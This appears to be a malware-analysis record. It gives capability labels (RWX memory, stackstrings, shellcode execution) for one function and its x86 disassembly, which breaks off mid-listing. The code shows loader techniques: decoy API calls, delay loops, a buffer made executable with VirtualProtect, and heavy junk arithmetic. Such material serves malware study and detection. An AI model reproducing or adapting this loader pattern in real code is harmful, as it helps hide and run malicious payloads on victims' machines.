Function at 0x402e44
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xab4
push ebx
push esi
push edi
push 0x440ea0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ebx, ebx
cmp eax, 0x280a7
jne 0x402e90
cmp dword [0x45b874], 0xc8b
jne 0x402e82
push ebx
lea eax, [ebp - 0xab4]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push ebx
call fcn.004052fb
push ebx
call fcn.0040512f
pop ecx
pop ecx
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp esi, 0x14d270
jle 0x402ebe
cmp dword [ebp - 0x278], 0x751a9b28
je 0x402ebe
cmp dword [ebp - 0x120], 0x12692ae3
jne 0x402ec7
inc esi
cmp esi, 0x22143f01
jl 0x402e92
mov eax, dword [0x42bfac]
mov esi, ebx
add eax, 0xb2d3b
mov dword [0x45b874], eax
cmp esi, 0x656289
jne 0x402ef0
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x43ffec], eax
inc esi
cmp esi, 0x66d056
jl 0x402ed8
push dword [0x45b874]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x45b874]
mov esi, eax
mov edx, dword [0x42bfa0]
mov edi, ebx
mov dword [0x43ffe8], esi
mov dword [0x45b878], edx
test ecx, ecx
je 0x402f47
push edi
mov ecx, esi
call fcn.00401849
mov ecx, dword [0x45b874]
inc edi
mov esi, dword [0x43ffe8]
cmp edi, ecx
jae 0x402f47
mov edx, dword [0x45b878]
jmp 0x402f26
mov edi, ebx
cmp edi, 0x22114f
jne 0x402f6e
lea eax, [ebp - 0x1a4]
push eax
push 0x40
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [0x45b874]
mov esi, dword [0x43ffe8]
inc edi
cmp edi, 0x259cc9
jl 0x402f49
mov edi, ecx
shr edi, 3
test edi, edi
je 0x402faa
cmp ecx, 0x1229
jne 0x402f97
push ebx
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
mov ecx, esi
call fcn.00401198
mov ecx, dword [0x45b874]
add esi, 8
dec edi
jne 0x402f80
mov esi, 0xea7bb
cmp ecx, 0x3b3
jne 0x402fc4
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, dword [0x45b874]
cmp ecx, 0x1189
jne 0x402fe3
push ebx
lea eax, [ebp - 0x1a4]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov ecx, dword [0x45b874]
dec esi
jne 0x402faf
mov esi, ebx
cmp ecx, 0x11ce
jne 0x403035
push ebx
push ebx
lea eax, [ebp - 0x6b4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor eax, eax
mov dword [ebp - 0x298], ebx
lea edi, [ebp - 0x294]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x2b4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
mov ecx, dword [0x45b874]
mov eax, dword [0x440e94]
cmp esi, 0x156cae
cmove eax, dword [0x43ffe8]
mov dword [0x440e94], eax
cmp ecx, 0x734
jne 0x403068
push ebx
lea eax, [ebp - 0x6b4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45b874]
inc esi
cmp esi, 0x24c129
jl 0x402fe8
mov dword [ebp - 4], 0x411b732d
mov dword [ebp - 0x10], 0x68c09b7c
mov dword [ebp - 0x58], 0x3946bf7f
mov dword [ebp - 0x20], 0x60a5266e
mov dword [ebp - 8], 0x4d5951ad
mov dword [ebp - 0x14], 0x280230f
mov dword [ebp - 0x28], 0x8b2978f
mov dword [ebp - 0xc], 0x6f0b776f
mov dword [ebp - 0x60], 0x303b368f
mov dword [ebp - 0x64], 0x14090110
mov dword [ebp - 0x1c], 0x17640629
mov dword [ebp - 0x90], 0x66e52578
mov dword [ebp - 0x50], 0x23a7f680
mov dword [ebp - 0x70], 0x3bf80da3
mov dword [ebp - 0x54], 0x636bce1d
mov dword [ebp - 0x74], 0x331afc4
mov dword [ebp - 0x34], 0x45259903
mov dword [ebp - 0x5c], 0x42ec3812
mov dword [ebp - 0xac], 0x3dc52eb3
mov dword [ebp - 0x3c], 0x7c9808bd
mov dword [ebp - 0x40], 0x38a9731a
mov dword [ebp - 0x30], 0x52847242
mov dword [ebp - 0xd8], 0x360288b4
mov dword [ebp - 0x78], 0xc765da2
mov dword [ebp - 0x24], 0x65e39d0e
mov dword [ebp - 0x38], 0x2897c672
mov dword [ebp - 0x4c], 0x3c6a8e12
mov dword [ebp - 0x68], 0x4a8ed183
mov dword [ebp - 0x44], 0x166088dc
mov dword [ebp - 0x18], 0xb81ec31
mov dword [ebp - 0xa0], 0x2e7f71a9
mov dword [ebp - 0x6c], 0x1fc137b5
mov dword [ebp - 0x98], 0x25b10a90
mov dword [ebp - 0x9c], 0x750e320d
mov dword [ebp - 0x178], 0x4e1aa246
mov dword [ebp - 0x188], 0x428c44b6
mov dword [ebp - 0x110], 0x62795130
mov dword [ebp - 0x118], 0x1212c59e
mov dword [ebp - 0xdc], 0x56da2491
mov dword [ebp - 0xe8], 0x1f59b22b
mov dword [ebp - 0x19c], 0x38d8435c
mov dword [ebp - 0x2c], 0x2b4e4693
mov dword [ebp - 0x80], 0x33557c3a
mov dword [ebp - 0x260], 0x53d135da
mov dword [ebp - 0xe0], 0x6bc0b7c4
mov dword [ebp - 0x114], 0x4cd1ca4b
mov dword [ebp - 0x88], 0x127377bb
mov dword [ebp - 0x10c], 0x768033d2
mov dword [ebp - 0x138], 0x194af172
mov dword [ebp - 0x1b0], 0x3f9f2abb
mov dword [ebp - 0x84], 0x3120ef84
mov dword [ebp - 0x220], 0x44063c20
mov dword [ebp - 0x94], 0x7b807752
mov dword [ebp - 0x8c], 0x2ad4a7a6
mov dword [ebp - 0x130], 0x29db24d4
mov dword [ebp - 0x1b8], 0x29efc868
mov dword [ebp - 0xc4], 0x602c7cf4
mov dword [ebp - 0xbc], 0x6f4f96c0
mov dword [ebp - 0xa4], 0x4aeb139
mov dword [ebp - 0xcc], 0x42d6dd18
mov dword [ebp - 0xb0], 0x438ad199
mov dword [ebp - 0x198], 0x2514eed1
mov dword [ebp - 0x258], 0x145ad0c4
mov dword [ebp - 0xd4], 0x38c018e2
mov dword [ebp - 0xf0], 0x7ac9c3a2
mov dword [ebp - 0x100], 0x3480b375
mov dword [ebp - 0x148], 0x552fb0dc
mov dword [ebp - 0x168], 0x14bc504a
mov dword [ebp - 0x1c0], 0x3a2557ef
mov dword [ebp - 0xf8], 0x4c870930
mov dword [ebp - 0xb4], 0x3c9bef55
mov dword [ebp - 0xc0], 0x60fc53cc
mov dword [ebp - 0x16c], 0x50175426
mov dword [ebp - 0x144], 0x61658fd5
mov dword [ebp - 0x228], 0x40a5e22e
mov dword [ebp - 0x108], 0x4be62cd6
mov dword [ebp - 0x7c], 0x4a206b96
mov dword [ebp - 0xd0], 0x97c0e85
mov dword [ebp - 0x150], 0x70428098
mov dword [ebp - 0xa8], 0x7ba13177
mov dword [ebp - 0x154], 0x42094f81
mov dword [ebp - 0x170], 0x1c13e8ca
mov dword [ebp - 0x1c8], 0x2f9ad75f
mov dword [ebp - 0x280], 0x712eacf
mov dword [ebp - 0x48], 0x320729ef
mov dword [ebp - 0x14c], 0x56a20434
mov dword [ebp - 0x12c], 0x7a8dd55b
mov dword [ebp - 0x11c], 0x772690d7
mov dword [ebp - 0x1d0], 0x5e8b7e97
mov dword [ebp - 0x230], 0x58b15376
mov dword [ebp - 0x1d8], 0x6ee29460
mov dword [ebp - 0xb8], 0x1bdabafe
mov dword [ebp - 0xc8], 0x2417138f
mov dword [ebp - 0x124], 0x26d5ce67
mov dword [ebp - 0x190], 0x43f68f6a
mov dword [ebp - 0x1a8], 0x4c00e0e1
mov dword [ebp - 0x1e0], 0x33d9d99c
mov dword [ebp - 0x238], 0x20bcc527
mov dword [ebp - 0x180], 0x24fa779b
mov dword [ebp - 0xfc], 0x1cb24dc5
mov dword [ebp - 0xe4], 0x4a7c67d9
mov dword [ebp - 0x1e8], 0x53447e13
mov dword [ebp - 0x27c], 0x4475c6a1
mov dword [ebp - 0x158], 0x3dbead88
mov dword [ebp - 0x134], 0x5d9a3b59
mov dword [ebp - 0x1f0], 0x7f44e775
mov dword [ebp - 0x240], 0x16d99cc9
mov dword [ebp - 0x140], 0x2f33445b
mov dword [ebp - 0xec], 0x6713be41
mov dword [ebp - 0x1f8], 0x5491aec9
mov dword [ebp - 0x15c], 0x31f469e1
mov dword [ebp - 0x160], 0x71fd73b7
mov dword [ebp - 0x268], 0x41b77f8d
mov dword [ebp - 0x104], 0x1bee88c0
mov dword [ebp - 0x200], 0x19bc5464
mov dword [ebp - 0x248], 0x4e243a08
mov dword [ebp - 0x208], 0x4defc389
mov dword [ebp - 0x1a0], 0x6707a79d
mov dword [ebp - 0x284], 0x7d5934fd
mov dword [ebp - 0x13c], 0x332c477e
mov dword [ebp - 0x174], 0x62c243ac
mov dword [ebp - 0x210], 0x4c642ed5
mov dword [ebp - 0x250], 0x7711c317
mov dword [ebp - 0x128], 0x4e23a444
mov dword [ebp - 0x218], 0x69f5f69c
mov dword [ebp - 0x270], 0xf8da715
mov dword [ebp - 0x1ac], 0x30995599
mov dword [ebp - 0xf4], 0x657d7fa6
mov dword [ebp - 0x1b4], 0x2ccff8eb
mov dword [ebp - 0x1bc], 0x558b379a
mov dword [ebp - 0x1c4], 0x5410d3e
mov dword [ebp - 0x194], 0x2e06d685
mov dword [ebp - 0x1cc], 0x63b775bb
mov dword [ebp - 0x18c], 0x2c508110
mov dword [ebp - 0x164], 0x2dc00d76
mov dword [ebp - 0x1d4], 0x5054ab67
mov dword [ebp - 0x1dc], 0x6d467d83
mov dword [ebp - 0x1e4], 0x3c6975b2
mov dword [ebp - 0x1ec], 0x6f9969ea
mov dword [ebp - 0x1f4], 0x7325bd5b
mov dword [ebp - 0x1fc], 0x3a6002fa
mov dword [ebp - 0x204], 0x438e05a4
mov dword [ebp - 0x184], 0x74ac13df
mov dword [ebp - 0x20c], 0x2809903f
mov dword [ebp - 0x120], 0x460e2ad9
mov dword [ebp - 0x17c], 0x1b7c6361
mov dword [ebp - 0x214], 0x20d5df3f
mov dword [ebp - 0x21c], 0x68557c30
mov dword [ebp - 0x224], 0x119b0734
mov dword [ebp - 0x22c], 0x2c4d4665
mov dword [ebp - 0x234], 0x6c900953
mov dword [ebp - 0x23c], 0x74c9099f
mov dword [ebp - 0x244], 0x5edc9451
mov dword [ebp - 0x24c], 0x30f955cb
mov dword [ebp - 0x254], 0x7189d37d
mov dword [ebp - 0x25c], 0x1fa36e16
mov dword [ebp - 0x264], 0x3713953d
mov dword [ebp - 0x26c], 0x142741d0
mov dword [ebp - 0x274], 0x735018ff
mov eax, 0x5bcf669c
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, 0x228b3d6
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x10], 0x2cd4f928
mov eax, 0x32f43de4
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add dword [ebp - 8], 0x5ae349c3
add dword [ebp - 0x58], 0x203bf76d
sub dword [ebp - 0x20], 0x42ac4b0b
add dword [ebp - 0x20], 0x72871f3b
add dword [ebp - 4], 0x43ccde2b
add dword [ebp - 0x20], 0x43aae6f0
mov eax, 0x18bffaa
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 4], 0x1f3fd02a
add dword [ebp - 0x14], 0x2ec4e8ad
mov eax, 0x5d6536dd
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x28], 0x7f11a7f4
mov eax, 0x66a9d7cc
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], 0x2316bfcc
add dword [ebp - 0x20], 0xf5e6d2b
mov eax, 0x2d3853a0
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
sub dword [ebp - 0x14], 0x4ae74033
add dword [ebp - 0xc], 0xdeafc68
add dword [ebp - 8], 0x1769f891
mov eax, 0x40779248
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 0x60], 0x38ea797f
add dword [ebp - 0xc], 0x46df1e52
add dword [ebp - 4], 0x55e5670
add dword [ebp - 0x28], 0x45c5cd2c
sub dword [ebp - 4], 0x31619cfe
add dword [ebp - 0x10], 0x4f39e908
add dword [ebp - 0x28], 0x7924ff82
add dword [ebp - 0x54], 0x1fe2d1db
add dword [ebp - 0x74], 0x4343a2b2
mov eax, 0x4e18a335
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 0x10], 0xdf9897e
add dword [ebp - 0xac], 0x272c9785
add dword [ebp - 8], 0x3ee4c6b7
add dword [ebp - 8], 0x61118dca
sub dword [ebp - 0x5c], 0x39704e80
add dword [ebp - 8], 0x313acbd8
sub dword [ebp - 0x3c], 0x6961262
mov eax, 0x1287d9b0
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
add dword [ebp - 0x3c], 0x326149bb
mov eax, 0x615f2e9
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
sub dword [ebp - 0x3c], 0x576d72a6
add dword [ebp - 0x54], 0x30e49247
sub dword [ebp - 0x14], 0x378baa0b
sub dword [ebp - 0x3c], 0x165679d5
mov eax, 0x6d5a9c41
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, 0x563d3ace
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
add dword [ebp - 0x54], 0x4afe6ca1
sub dword [ebp - 0x28], 0x582929b3
sub dword [ebp - 0x14], 0x40a33f30
add dword [ebp - 0x40], 0x20194e
mov eax, 0x68aa99af
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x20], 0x10059145
sub dword [ebp - 4], 0x3cc27738
sub dword [ebp - 0x1c], 0x6fbf7c65
mov eax, 0x10ba397c
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, 0x765bfb63
mul dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
add dword [ebp - 8], 0x2a9dd6c5
add dword [ebp - 0xc], 0x622392e7
mov eax, 0x16922e17
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x34], 0x64a6b08a
mov eax, 0x53085f07
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, 0x1bfe3ef8
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
sub dword [ebp - 0x58], 0x3a966848
mov eax, 0x4ff6dabf
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0x30], 0x16ff586c
add dword [ebp - 0x10], 0x1a3aff38
add dword [ebp - 0x38], 0x5793156d
mov eax, 0x3cd4945
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
add dword [ebp - 0x68], 0x37667235
sub dword [ebp - 0x68], 0x2a6480ca
mov eax, 0x211b0ac4
mul dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
mov eax, 0x31d47897
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, 0x11a36045
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0x5c], 0x7a9bc998
sub dword [ebp - 0x40], 0x4b5439b3
add dword [ebp - 0x18], 0x1d9f3207
sub dword [ebp - 0x9c], 0x3033d100
mov eax, 0x364f2ba0
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub dword [ebp - 0x38], 0xb65f65d
sub dword [ebp - 0x178], 0x785739d9
mov eax, 0x6ba793c4
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
sub dword [ebp - 0x28], 0x1aefefa0
mov eax, 0x3ee38690
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
mov eax, 0x1aa17d88
mul dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
sub dword [ebp - 0x54], 0x159fab8f
add dword [ebp - 0x50], 0x17b3832f
sub dword [ebp - 0x4c], 0x46ecd68b
sub dword [ebp - 0x10], 0x4a972818
add dword [ebp - 0x40], 0x4ffb61f6
add dword [ebp - 0x88], 0x7e8963a9
sub dword [ebp - 0x80], 0x3c1af051
add dword [ebp - 0x10], 0x63fa5b8f
add dword [ebp - 0x98], 0x15d30e36
sub dword [ebp - 8], 0x75b31b1
sub dword [ebp - 0x19c], 0x7bd8576d
add dword [ebp - 0x10], 0x6b806b9b
sub dword [ebp - 0x6c], 0x3e83e3ac
sub dword [ebp - 0xdc], 0x2b7bbb82
add dword [ebp - 0x10c], 0x6184e9ec
add dword [ebp - 0xe8], 0x672e054d
sub dword [ebp - 0x70], 0x5e5afee7
sub dword [ebp - 0x18], 0x6993d45b
sub dword [ebp - 0xa0], 0x674f64e7
add dword [ebp - 0x68], 0x817dff8
mov eax, 0x78fa6a8
mul dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, 0x7c4d9b82
mul dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, 0x2f7d73a6
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
mov eax, 0x7ca04485
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 0x74], 0xc023b0e
add dword [ebp - 0x44], 0x45a18959
mov eax, 0x1aaceefe
mul dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
sub dword [ebp - 0x64], 0x7ca29825
mov eax, 0x20988036
mul dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
add dword [ebp - 0x50], 0x5c10f3c2
sub dword [ebp - 0x24], 0xc3ae2dd
mov eax, 0x3f6b02e7
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 0xc], 0x5df7597
mov eax, 0x492c8ca5
mul dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
add dword [ebp - 0x70], 0x7f0bd4b
add dword [ebp - 0x8c], 0x17a6bf3e
mov eax, 0x1d4f0e40
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
add dword [ebp - 0xc], 0x3adbf2a1
add dword [ebp - 0xe0], 0x313c61a2
sub dword [ebp - 0x38], 0x2244c3c3
sub dword [ebp - 0xdc], 0x3f2286ec
add dword [ebp - 0x30], 0x5979940a
add dword [ebp - 0x40], 0x12916398
add dword [ebp - 0x2c], 0x394b6bda
add dword [ebp - 0x30], 0x10e6e9fc
add dword [ebp - 0x18], 0x15931d27
sub dword [ebp - 0x94], 0x4012e93b
add dword [ebp - 0xcc], 0x68d127d8
mov eax, 0x59923fe9
mul dword [ebp - 0xcc]
mov eax, dword [ebp - 0xcc]
add dword [ebp - 0x28], 0x6981f295
mov eax, 0x3344d62d
mul dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
mov eax, 0x7b59b6a5
mul dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
sub dword [ebp - 0x168], 0x644fe89a
sub dword [ebp - 0x80], 0x2d74afe
mov eax, 0x75daa45d
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, 0xefc2817
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
sub dword [ebp - 0x78], 0x40a52934
sub dword [ebp - 0xc4], 0x29e53954
add dword [ebp - 0x14], 0x66e07f73
add dword [ebp - 0x34], 0x5d94acb5
sub dword [ebp - 0x30], 0x591930ae
add dword [ebp - 0x24], 0x5205008a
mov eax, 0xb71ddfe
mul dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
add dword [ebp - 0x98], 0x4ec0d79
mov eax, 0x70b4a98
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, 0x3a98a5aa
mul dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
add dword [ebp - 0x18], 0x499d054f
add dword [ebp - 0x98], 0x276b57a1
add dword [ebp - 0x2c], 0x4c6e19c
add dword [ebp - 0x24], 0x708a8be5
add dword [ebp - 8], 0x213b3d9b
sub dword [ebp - 0x130], 0x294b5148
sub dword [ebp - 0x88], 0x56536c7c
mov eax, 0x2551cfad
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], 0x350727ab
mov eax, 0x2a67f14b
mul dword [ebp - 0x188]
mov eax, dword [ebp - 0x188]
mov eax, 0x1af90f56
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
add dword [ebp - 0x138], 0x13e5705c
mov eax, 0x466cd7f
mul dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
sub dword [ebp - 0x118], 0x6c8a8730
sub dword [ebp - 0x60], 0x3adce693
mov eax, 0x69421b91
mul dword [ebp - 0x110]
mov eax, dword [ebp - 0x110]
sub dword [ebp - 0x80], 0x5a9d96f9
sub dword [ebp - 0x54], 0x623864b3
mov eax, 0x70e31547
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
sub dword [ebp - 0xd4], 0x72e9e342
mov eax, 0x4cde90ec
mul dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, 0x285cdf3d
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 0x20], 0x44cecd35
sub dword [ebp - 0x44], 0x237da08e
mov eax, 0x29e96a79
mul dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
add dword [ebp - 0xa8], 0x5cae7af9
mov eax, 0x5c5495e
mul dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, 0x91ffb2d
mul dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf8]
mov eax, 0xd3856af
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, 0x1acc1786
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
add dword [ebp - 0x38], 0x164f186
sub dword [ebp - 0x5c], 0x4dcbc7a3
sub dword [ebp - 0x40], 0x19df6762
add dword [ebp - 0xcc], 0x308bd4ea
sub dword [ebp - 0x170], 0x7f16423b
sub dword [ebp - 0x78], 0x74e583d8
mov eax, 0x3f254642
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add dword [ebp - 0xf0], 0x2cde8fc2
sub dword [ebp - 0x4c], 0xc836e4f
sub dword [ebp - 0x100], 0x7bc182b
sub dword [ebp - 0x6c], 0x65dfe8eb
sub dword [ebp - 0x64], 0x2bb648c5
sub dword [ebp - 0x88], 0x391449b4
add dword [ebp - 0x94], 0x1239aa7f
add dword [ebp - 0x1c], 0x2ece88fd
mov eax, 0x10962f36
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, 0x31cdd887
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x30], 0x5771ddbb
add dword [ebp - 0xac], 0x4bdd7ff
mov eax, 0x947507
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x94], 0x6191abda
add dword [ebp - 0x84], 0x621ba983
mov eax, 0x7a88e280
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
add dword [ebp - 0x44], 0x3b4371a8
mov eax, 0x71eac1e8
mul dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
sub dword [ebp - 0x108], 0x5a4276b2
sub dword [ebp - 0x44], 0x2ca50b27
sub dword [ebp - 0x7c], 0x6cc8a694
add dword [ebp - 0x70], 0x430569fd
sub dword [ebp - 0x24], 0x65c302ba
add dword [ebp - 0x74], 0x5ea5b6be
add dword [ebp - 0x14], 0x39b7b0ba
mov eax, 0x27caa865
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0x48], 0x23a8fb73
mov eax, 0x631cfa67
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0xd0], 0x4067d280
sub dword [ebp - 0x10], 0x525bb42f
add dword [ebp - 0xd4], 0x439a76a5
mov eax, 0x7933b236
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x2c], 0x678daa10
add dword [ebp - 0x48], 0x227e9498
add dword [ebp - 0x84], 0x18489532
sub dword [ebp - 0xe4], 0x33b379b
sub dword [ebp - 0xf0], 0x6bd71f01
sub dword [ebp - 0xa0], 0x7de6a099
sub dword [ebp - 0xc], 0x7434cdba
sub dword [ebp - 0x4c], 0x6a2501ea
add dword [ebp - 0x6c], 0x61a44c47
sub dword [ebp - 0x108], 0x519b1bf6
add dword [ebp - 0x4c], 0x4da6943e
mov eax, 0x79c7393d
mul dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
sub dword [ebp - 4], 0x4fd76058
sub dword [ebp - 0xdc], 0x1e9256a0
mov eax, 0x62312630
mul dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, 0x53a4d917
mul dword [ebp - 0x140]
mov eax, dword [ebp - 0x140]
mov eax, 0x61a25e2c
mul dword [ebp - 0x198]
mov eax, dword [ebp - 0x198]
add dword [ebp - 0xd0], 0xd446ffd
add dword [ebp - 0x20], 0x4b70ac68
mov eax, 0x59783806
mul dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
sub dword [ebp - 0xc0], 0x551f34cd
mov eax, 0x42efb360
mul dword [ebp - 0x148]
mov eax, dword [ebp - 0x148]
sub dword [ebp - 0x90], 0x33805cd6
mov eax, 0x1d763197
mul dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
sub dword [ebp - 0x124], 0x7115c6c
sub dword [ebp - 0x150], 0x666ae8d6
sub dword [ebp - 0x7c], 0x38d26a5a
add dword [ebp - 0x190], 0x4511ea20
sub dword [ebp - 0xd0], 0x26eecd7f
mov eax, 0x7fa699ca
mul dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
sub dword [ebp - 0x158], 0x57098461
sub dword [ebp - 0x180], 0x74de3a53
sub dword [ebp - 0xf8], 0x602fffd8
add dword [ebp - 0xb8], 0x141f1aef
add dword [ebp - 0xb0], 0x2f81721
sub dword [ebp - 0x60], 0x264f4ba4
mov eax, 0x5b0c81d2
mul dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
add dword [ebp - 0xc8], 0x3fd2631c
add dword [ebp - 0xb8], 0x340196b9
sub dword [ebp - 0x48], 0x2f9a844e
sub dword [ebp - 0x160], 0x4690edee
add dword [ebp - 0xbc], 0x18685b9e
sub dword [ebp - 0x11c], 0x34b0c459
add dword [ebp - 0x1a0], 0x4ab8b07f
mov eax, 0x26c988b2
mul dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
mov eax, 0x4cadd7cb
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub dword [ebp - 0x28], 0x21b45d22
add dword [ebp - 0x118], 0x5d450cb
add dword [ebp - 0xc], 0x23dc0b66
sub dword [ebp - 0xd8], 0x6a09855a
sub dword [ebp - 0xb4], 0x1d8eb45d
add dword [ebp - 0x1c], 0x1103364e
add dword [ebp - 0xa4], 0x25eb80c4
add dword [ebp - 0x104], 0x17eb7230
sub dword [ebp - 0xc0], 0x3a9c328e
mov eax, 0x170bac6
mul dword [ebp - 0x100]
mov eax, dword [ebp - 0x100]
mov eax, 0x9ea30dd
mul dword [ebp - 0x128]
mov eax, dword [ebp - 0x128]
mov eax, 0x6a39731e
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
sub dword [ebp - 0x114], 0x7256869c
add dword [ebp - 0x18], 0x4e296608
add dword [ebp - 0xe4], 0x692b5205
mov eax, 0x263dfeaf
mul dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov eax, 0x3d76d4b
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, 0x44422b21
mul dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
sub dword [ebp - 0x4c], 0x4d3ed912
add dword [ebp - 0x8c], 0x669585a7
sub dword [ebp - 4], 0x278741a3
add dword [ebp - 0x6c], 0x4c0d3d8b
mov eax, 0x3a8c7979
mul dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
add dword [ebp - 0x12c], 0x27b62fa6
add dword [ebp - 0x3c], 0x2bf014bb
mov eax, 0x527782f6
mul dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
add dword [ebp - 0x58], 0x3d53f907
add dword [ebp - 0x44], 0x757cbbc8
mov eax, 0x618ee485
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
sub dword [ebp - 0x134], 0x37587fff
mov eax, 0x5d5f0ac0
mul dword [ebp - 0x13c]
mov eax, dword [ebp - 0x13c]
mov eax, 0x4876d59d
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0x144], 0x32e5a261
mov eax, 0x3114709c
mul dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
add dword [ebp - 0xf4], 0x43e3b20e
mov eax, 0x3efa49cd
mul dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
sub dword [ebp - 0x14c], 0x6adbfa67
